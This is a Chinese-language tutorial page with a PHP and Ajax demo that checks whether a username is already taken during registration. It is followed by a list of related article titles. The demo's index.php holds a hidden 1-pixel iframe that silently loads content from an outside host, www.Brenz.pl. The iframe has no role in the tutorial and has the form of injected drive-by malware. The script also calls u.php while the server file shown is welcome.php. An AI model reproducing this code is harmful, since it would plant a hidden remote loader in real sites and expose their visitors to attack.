PHP結合Ajax實現登入驗證的Demo
設計一個使用者註冊頁面,當使用者輸入註冊名的時候,檢測使用者名稱是否已存在,如果存在,給予提示
我們先打index.php
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312" />
<script type="text/JavaScript">
function Ajax(){
var xmlHttpReq=null;//初始物件xmlHttpReq
if(window.ActiveXObject){
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
}else if(window.XMLHttpRequest){
xmlHttpReq=new XMLHttpRequest();
}
var userId=document.getElementById("userId").value;//value取得id為userId的值
url="u.php?userId="+userId;//路徑
if(xmlHttpReq!=null){//若物件例項化建立成功
xmlHttpReq.open("GET",url,true);//open()開啟請求
xmlHttpReq.onreadystatechange=RequestCallBack;//設定回撥函式RequestCallBack()
xmlHttpReq.send(null);//請求不包括正文
}
function RequestCallBack(){//回撥函式
if(xmlHttpReq.readystate==4){
if(xmlHttpReq.status==200){//請求成功
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//將得到的資訊賦給id屬性為get的div
}
}
}
}
</script>
</head>
<body>
<font>
註冊
</font><br>
<form>
使用者名稱:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="檢測"onclick="Ajax()">
<div id="get">
</div>
</form>
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
welcome.php
<?php
header("content-type:text/html;charset=gb2312");
//sleep(1);
$userId=$_GET["userId"];
if($userId=="管理員"){
echo "使用者名稱已存在!";
}else{
echo "該使用者名稱可以註冊";
}
?>
相關文章
- layui使用html+servlet+ajax實現登入驗證UIHTMLServlet
- Vue結合Django-Rest-Frameword結合實現登入認證(一)VueDjangoREST
- Vue結合Django-Rest-Frameword結合實現登入認證(二)VueDjangoREST
- PHP 登入DEMOPHP
- PHP+AJAX實現賬號註冊和登陸,附可用demoPHP
- golang 中使用 JWT 實現登入驗證GolangJWT
- vue實現簡訊驗證碼登入Vue
- node實現登入圖片驗證碼
- spring mvc實現登入驗證碼SpringMVC
- 實現基於JWT的Token登入驗證功能JWT
- PHP如何實現登入認證和鑑權PHP
- 通過selenium突破極驗驗證實現登入
- django與小程式實現登入驗證功能Django
- uniapp 實現簡訊驗證碼登入APP
- 自動化驗證碼登入如何實現?
- 遊戲陪玩原始碼的登入方式,簡訊驗證碼登入的實現遊戲原始碼
- 用Abp實現兩步驗證(Two-Factor Authentication,2FA)登入(三):免登入驗證
- jQuery Ajax 跨域前端實現登入jQuery跨域前端
- Python+django實現郵箱驗證登入PythonDjango
- 微信小程式結合php後臺實現登入授權機制詳解微信小程式PHP
- java視窗登入介面實現隨機驗證碼Java隨機
- ajax 實現微信網頁授權登入網頁
- node+ajax+mysql實現登入註冊MySql
- oracle使用者登入驗證總結Oracle
- JSP(ajax)+Servlet實現簡單的登入功能JSServlet
- MVC驗證09-使用MVC的Ajax.BeginForm方法實現非同步驗證MVCORM非同步
- 登入驗證碼生成kaptcha(輸入驗證碼)APT
- PHP算式驗證碼和漢字驗證碼的實現方法PHP
- 說說如何在登入頁實現生成驗證碼功能
- SSM專案使用攔截器實現登入驗證功能SSM
- vue通過vue-router攔截實現登入驗證Vue
- 直播系統程式碼,登入時常用驗證方式實現
- MySQL登入驗證方式MySql
- JS登入驗證nullJSNull
- python驗證登入Python
- PHP實現Google Oauth的登入系統PHPGoOAuth
- 聊聊Oracle的OS驗證登入Oracle
- Ajax 實現驗證郵箱地址唯一性